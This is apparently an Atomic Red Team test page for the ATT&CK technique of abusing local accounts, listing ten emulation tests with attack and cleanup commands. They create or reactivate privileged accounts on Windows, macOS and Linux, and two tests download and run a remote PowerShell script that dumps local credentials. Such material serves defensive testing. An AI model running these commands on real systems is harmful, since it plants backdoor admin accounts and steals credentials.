T1078.003
Valid Accounts: Local Accounts
Description from ATT&CK
Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.
Atomic Tests
Atomic Test #1 - Create local account with admin privileges
After execution the new account will be active and added to the Administrators group
Supported Platforms: windows
auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| password | Password for art-test user | string | -4RTisCool!-321 |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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net user art-test /add
net user art-test #{password}
net localgroup administrators art-test /add
Cleanup Commands:
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net localgroup administrators art-test /delete >nul 2>&1
net user art-test /delete >nul 2>&1
Atomic Test #2 - Create local account with admin privileges - MacOS
After execution the new account will be active and added to the Administrators group
Supported Platforms: macos
auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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dscl . -create /Users/AtomicUser
dscl . -create /Users/AtomicUser UserShell /bin/bash
dscl . -create /Users/AtomicUser RealName "Atomic User"
dscl . -create /Users/AtomicUser UniqueID 503
dscl . -create /Users/AtomicUser PrimaryGroupID 503
dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
dscl . -passwd /Users/AtomicUser mySecretPassword
dscl . -append /Groups/admin GroupMembership AtomicUser
Cleanup Commands:
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sudo dscl . -delete /Users/AtomicUser
Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS
After execution the new account will be active and added to the Administrators group
Supported Platforms: macos
auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin
Cleanup Commands:
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sysadminctl interactive -deleteUser art-tester
Atomic Test #4 - Enable root account using dsenableroot utility - MacOS
After execution the current/new user will have root access
Supported Platforms: macos
auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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dsenableroot #current user
dsenableroot -u art-tester -p art-tester -r art-root #new user
Cleanup Commands:
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dsenableroot -d #current user
dsenableroot -d -u art-tester -p art-tester #new user
Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS
After execution the current/new user will be added to the Admin group
Supported Platforms: macos
auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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dseditgroup -o edit -a art-user -t user admin
Cleanup Commands:
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dseditgroup -o edit -d art-user -t user admin
Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie
Loot local Credentials - powerhell kittie technique via function of WinPwn
Supported Platforms: windows
auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
obfuskittiedump -consoleoutput -noninteractive
Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz
Loot local Credentials - Safetykatz technique via function of WinPwn
Supported Platforms: windows
auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
safedump -consoleoutput -noninteractive
Atomic Test #8 - Create local account (Linux)
An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.
Supported Platforms: linux
auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
su art
whoami
exit
Cleanup Commands:
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userdel -r art
Atomic Test #9 - Reactivate a locked/expired account (Linux)
A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate.
In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
Supported Platforms: linux
auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
usermod --lock art
usermod --expiredate "1" art
usermod --unlock art
usermod --expiredate "99999" art
su art
whoami
exit
Cleanup Commands:
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userdel -r art
Atomic Test #10 - Login as nobody (Linux)
An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.
Supported Platforms: linux
auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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cat /etc/passwd |grep nobody
# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
chsh --shell /bin/bash nobody
usermod --password $(openssl passwd -1 nobody) nobody
su nobody
whoami
exit
Cleanup Commands:
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chsh --shell /usr/sbin/nologin nobody
cat /etc/passwd |grep nobody
# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin